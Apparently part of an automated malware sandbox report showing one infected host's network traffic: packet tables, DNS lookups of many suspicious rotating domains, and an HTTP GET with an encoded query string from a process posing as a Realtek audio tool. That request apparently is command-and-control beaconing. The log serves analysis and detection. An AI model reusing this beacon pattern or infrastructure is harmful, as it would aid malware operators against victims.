Jan 9, 2025 16:52:14.113631010 CET	80	49811	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:14.113818884 CET	49811	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:14.120506048 CET	49811	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:14.256603956 CET	80	49811	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:14.256620884 CET	80	49811	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:14.256757975 CET	49811	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:15.634244919 CET	49811	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:16.651340961 CET	49812	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:16.788973093 CET	80	49812	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:16.789169073 CET	49812	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:16.795026064 CET	49812	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:16.935161114 CET	80	49812	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:16.935261011 CET	80	49812	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:16.935494900 CET	49812	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:18.305488110 CET	49812	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:19.322474003 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.335258007 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.471267939 CET	80	49813	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:20.471568108 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.480328083 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.616453886 CET	80	49813	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:20.616612911 CET	80	49813	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:20.616692066 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.616764069 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.663352966 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:20.752707005 CET	80	49813	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:20.752722979 CET	80	49813	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:20.752897024 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:21.992404938 CET	49813	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:23.007910013 CET	49814	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:23.146619081 CET	80	49814	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:23.147089005 CET	49814	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:23.149298906 CET	49814	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:23.328792095 CET	80	49814	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:24.321438074 CET	80	49814	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:24.321489096 CET	80	49814	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:24.321769953 CET	49814	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:24.322974920 CET	49814	80	192.168.11.20	76.223.54.146
Jan 9, 2025 16:52:24.459543943 CET	80	49814	76.223.54.146	192.168.11.20
Jan 9, 2025 16:52:29.335966110 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:29.683278084 CET	80	49815	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:29.683500051 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:29.689902067 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:30.036982059 CET	80	49815	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:30.037815094 CET	80	49815	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:30.037868023 CET	80	49815	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:30.037903070 CET	80	49815	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:30.038048029 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:30.038104057 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:31.193463087 CET	49815	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:32.210268974 CET	49816	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:32.563023090 CET	80	49816	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:32.563218117 CET	49816	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:32.569895029 CET	49816	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:32.921925068 CET	80	49816	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:32.922620058 CET	80	49816	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:32.922663927 CET	80	49816	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:32.922698021 CET	80	49816	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:32.922872066 CET	49816	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:34.083333969 CET	49816	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.100434065 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.451266050 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.451528072 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.454987049 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.455009937 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.455094099 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:35.805166006 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.805191040 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806282997 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806313038 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806333065 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806349993 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806365967 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806384087 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:35.806472063 CET	49817	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:36.156542063 CET	80	49817	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:37.974652052 CET	49818	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:38.330590010 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:38.330790997 CET	49818	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:38.335314989 CET	49818	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:38.690840006 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:38.691433907 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:38.691467047 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:38.691490889 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:38.691764116 CET	49818	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:38.693011999 CET	49818	80	192.168.11.20	160.25.166.123
Jan 9, 2025 16:52:39.048602104 CET	80	49818	160.25.166.123	192.168.11.20
Jan 9, 2025 16:52:43.706659079 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:44.720742941 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:46.735897064 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:46.855151892 CET	80	49819	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:46.855364084 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:46.861552000 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:46.980900049 CET	80	49819	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:46.994981050 CET	80	49819	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:46.995563984 CET	80	49819	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:46.995877028 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:48.377321959 CET	49819	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:49.395411015 CET	49820	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:49.514132023 CET	80	49820	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:49.514451981 CET	49820	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:49.521169901 CET	49820	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:49.640743971 CET	80	49820	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:49.653971910 CET	80	49820	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:49.654628992 CET	80	49820	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:49.654906988 CET	49820	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:51.033008099 CET	49820	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.049690008 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.168286085 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.168437958 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.172091007 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.172142982 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.172189951 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:52.290592909 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.290812969 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.291083097 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.291327953 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.291336060 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.328084946 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.329107046 CET	80	49821	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:52.329252005 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:53.688604116 CET	49821	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:54.705465078 CET	49822	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:54.824615002 CET	80	49822	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:54.824790955 CET	49822	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:54.829241037 CET	49822	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:54.948544979 CET	80	49822	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:54.954835892 CET	80	49822	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:54.954960108 CET	80	49822	104.21.13.141	192.168.11.20
Jan 9, 2025 16:52:54.955658913 CET	49822	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:54.956545115 CET	49822	80	192.168.11.20	104.21.13.141
Jan 9, 2025 16:52:55.075798988 CET	80	49822	104.21.13.141	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 16:47:27.089870930 CET	57114	53	192.168.11.20	1.1.1.1
Jan 9, 2025 16:47:27.442651033 CET	53	57114	1.1.1.1	192.168.11.20
Jan 9, 2025 16:47:42.989548922 CET	63374	53	192.168.11.20	1.1.1.1
Jan 9, 2025 16:47:43.274908066 CET	53	63374	1.1.1.1	192.168.11.20
Jan 9, 2025 16:47:57.611524105 CET	59223	53	192.168.11.20	1.1.1.1
Jan 9, 2025 16:47:57.790811062 CET	53	59223	1.1.1.1	192.168.11.20
Jan 9, 2025 16:48:11.436651945 CET	64152	53	192.168.11.20	1.1.1.1
Jan 9, 2025 16:48:11.604768991 CET	53	64152	1.1.1.1	192.168.11.20
Jan 9, 2025 16:48:25.090313911 CET	57625	53	192.168.11.20	1.1.1.1
Jan 9, 2025 16:48:26.103657007 CET	57625	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:48:26.300102949 CET	53	57625	9.9.9.9	192.168.11.20
Jan 9, 2025 16:48:34.353872061 CET	54922	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:48:34.516304970 CET	53	54922	9.9.9.9	192.168.11.20
Jan 9, 2025 16:48:49.350294113 CET	53665	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:48:49.514147997 CET	53	53665	9.9.9.9	192.168.11.20
Jan 9, 2025 16:49:02.816509008 CET	64419	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:49:03.274323940 CET	53	64419	9.9.9.9	192.168.11.20
Jan 9, 2025 16:49:19.640850067 CET	56757	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:49:19.788065910 CET	53	56757	9.9.9.9	192.168.11.20
Jan 9, 2025 16:49:33.013132095 CET	50783	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:49:33.154484034 CET	53	50783	9.9.9.9	192.168.11.20
Jan 9, 2025 16:49:41.214587927 CET	55014	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:49:42.134790897 CET	53	55014	9.9.9.9	192.168.11.20
Jan 9, 2025 16:49:55.882602930 CET	64571	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:49:56.247581005 CET	53	64571	9.9.9.9	192.168.11.20
Jan 9, 2025 16:50:10.582547903 CET	59410	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:50:10.764961004 CET	53	59410	9.9.9.9	192.168.11.20
Jan 9, 2025 16:50:25.096172094 CET	65272	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:50:25.312874079 CET	53	65272	9.9.9.9	192.168.11.20
Jan 9, 2025 16:50:38.874315977 CET	56786	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:50:39.025665998 CET	53	56786	9.9.9.9	192.168.11.20
Jan 9, 2025 16:50:52.761991978 CET	55715	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:50:52.881791115 CET	53	55715	9.9.9.9	192.168.11.20
Jan 9, 2025 16:51:49.951899052 CET	58884	53	192.168.11.20	9.9.9.9
Jan 9, 2025 16:51:50.071281910 CET	53	58884	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 16:47:27.089870930 CET	192.168.11.20	1.1.1.1	0x3811	Standard query (0)	www.milp.store	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:42.989548922 CET	192.168.11.20	1.1.1.1	0x1de0	Standard query (0)	www.chiro.live	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.611524105 CET	192.168.11.20	1.1.1.1	0xd48b	Standard query (0)	www.mzkd6gp5.top	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:11.436651945 CET	192.168.11.20	1.1.1.1	0x9a21	Standard query (0)	www.bokus.site	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:25.090313911 CET	192.168.11.20	1.1.1.1	0x37b7	Standard query (0)	www.elettrocoltura.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:26.103657007 CET	192.168.11.20	9.9.9.9	0x37b7	Standard query (0)	www.elettrocoltura.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:34.353872061 CET	192.168.11.20	9.9.9.9	0x3882	Standard query (0)	www.givvjn.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:49.350294113 CET	192.168.11.20	9.9.9.9	0x6e3b	Standard query (0)	www.bonheur.tech	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:02.816509008 CET	192.168.11.20	9.9.9.9	0xe161	Standard query (0)	www.rpa.asia	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:19.640850067 CET	192.168.11.20	9.9.9.9	0x1c56	Standard query (0)	www.ogbos88.cyou	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:33.013132095 CET	192.168.11.20	9.9.9.9	0xa4fe	Standard query (0)	www.smartbath.shop	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:41.214587927 CET	192.168.11.20	9.9.9.9	0x2e92	Standard query (0)	www.100millionjobs.africa	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:55.882602930 CET	192.168.11.20	9.9.9.9	0xc05f	Standard query (0)	www.mirenzhibo.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:10.582547903 CET	192.168.11.20	9.9.9.9	0xb4e4	Standard query (0)	www.nextlevel.finance	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:25.096172094 CET	192.168.11.20	9.9.9.9	0xd3be	Standard query (0)	www.furrcali.xyz	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:38.874315977 CET	192.168.11.20	9.9.9.9	0x240e	Standard query (0)	www.buyspeechst.shop	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:52.761991978 CET	192.168.11.20	9.9.9.9	0xfd33	Standard query (0)	www.lejgnu.info	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:51:49.951899052 CET	192.168.11.20	9.9.9.9	0x5171	Standard query (0)	www.elettrocoltura.info	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 16:47:27.442651033 CET	1.1.1.1	192.168.11.20	0x3811	No error (0)	www.milp.store		194.9.94.85	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:27.442651033 CET	1.1.1.1	192.168.11.20	0x3811	No error (0)	www.milp.store		194.9.94.86	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		198.58.118.167	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.79.19.196	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.56.79.23	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.33.20.235	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		173.255.194.134	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		72.14.185.43	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.33.2.79	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		72.14.178.174	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.33.18.44	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.33.30.197	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		96.126.123.244	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:43.274908066 CET	1.1.1.1	192.168.11.20	0x1de0	No error (0)	www.chiro.live		45.33.23.183	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:47:57.790811062 CET	1.1.1.1	192.168.11.20	0xd48b	No error (0)	www.mzkd6gp5.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:11.604768991 CET	1.1.1.1	192.168.11.20	0x9a21	No error (0)	www.bokus.site		199.192.21.169	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:26.300102949 CET	9.9.9.9	192.168.11.20	0x37b7	Name error (3)	www.elettrocoltura.info	none	none	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:34.516304970 CET	9.9.9.9	192.168.11.20	0x3882	No error (0)	www.givvjn.info		47.83.1.90	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:49.514147997 CET	9.9.9.9	192.168.11.20	0x6e3b	No error (0)	www.bonheur.tech		76.223.54.146	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:48:49.514147997 CET	9.9.9.9	192.168.11.20	0x6e3b	No error (0)	www.bonheur.tech		13.248.169.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:03.274323940 CET	9.9.9.9	192.168.11.20	0xe161	No error (0)	www.rpa.asia		160.25.166.123	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:19.788065910 CET	9.9.9.9	192.168.11.20	0x1c56	No error (0)	www.ogbos88.cyou		104.21.13.141	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:19.788065910 CET	9.9.9.9	192.168.11.20	0x1c56	No error (0)	www.ogbos88.cyou		172.67.132.227	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:33.154484034 CET	9.9.9.9	192.168.11.20	0xa4fe	Name error (3)	www.smartbath.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:42.134790897 CET	9.9.9.9	192.168.11.20	0x2e92	No error (0)	www.100millionjobs.africa	100millionjobs.africa		CNAME (Canonical name)	IN (0x0001)	false
Jan 9, 2025 16:49:42.134790897 CET	9.9.9.9	192.168.11.20	0x2e92	No error (0)	100millionjobs.africa		136.243.64.147	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:49:56.247581005 CET	9.9.9.9	192.168.11.20	0xc05f	No error (0)	www.mirenzhibo.net		202.95.11.110	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:10.764961004 CET	9.9.9.9	192.168.11.20	0xb4e4	No error (0)	www.nextlevel.finance		76.223.54.146	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:10.764961004 CET	9.9.9.9	192.168.11.20	0xb4e4	No error (0)	www.nextlevel.finance		13.248.169.48	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:25.312874079 CET	9.9.9.9	192.168.11.20	0xd3be	No error (0)	www.furrcali.xyz		103.106.67.112	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:39.025665998 CET	9.9.9.9	192.168.11.20	0x240e	No error (0)	www.buyspeechst.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:50:52.881791115 CET	9.9.9.9	192.168.11.20	0xfd33	Name error (3)	www.lejgnu.info	none	none	A (IP address)	IN (0x0001)	false
Jan 9, 2025 16:51:50.071281910 CET	9.9.9.9	192.168.11.20	0x5171	Name error (3)	www.elettrocoltura.info	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.milp.store

www.chiro.live

www.mzkd6gp5.top

www.bokus.site

www.givvjn.info

www.bonheur.tech

www.rpa.asia

www.ogbos88.cyou

www.100millionjobs.africa

www.mirenzhibo.net

www.nextlevel.finance

www.furrcali.xyz

www.buyspeechst.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49745	194.9.94.85	80	7540	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:47:27.697716951 CET	528	OUT	GET /js1x/?LSbaT=zft4LoBw&lV=YzadGC6YqOgjY/9qwmEESxfA+8MKCZxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswMKkfsup8/2EYKLr6Ec= HTTP/1.1 Host: www.milp.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:47:27.946897030 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:47:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.30 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution 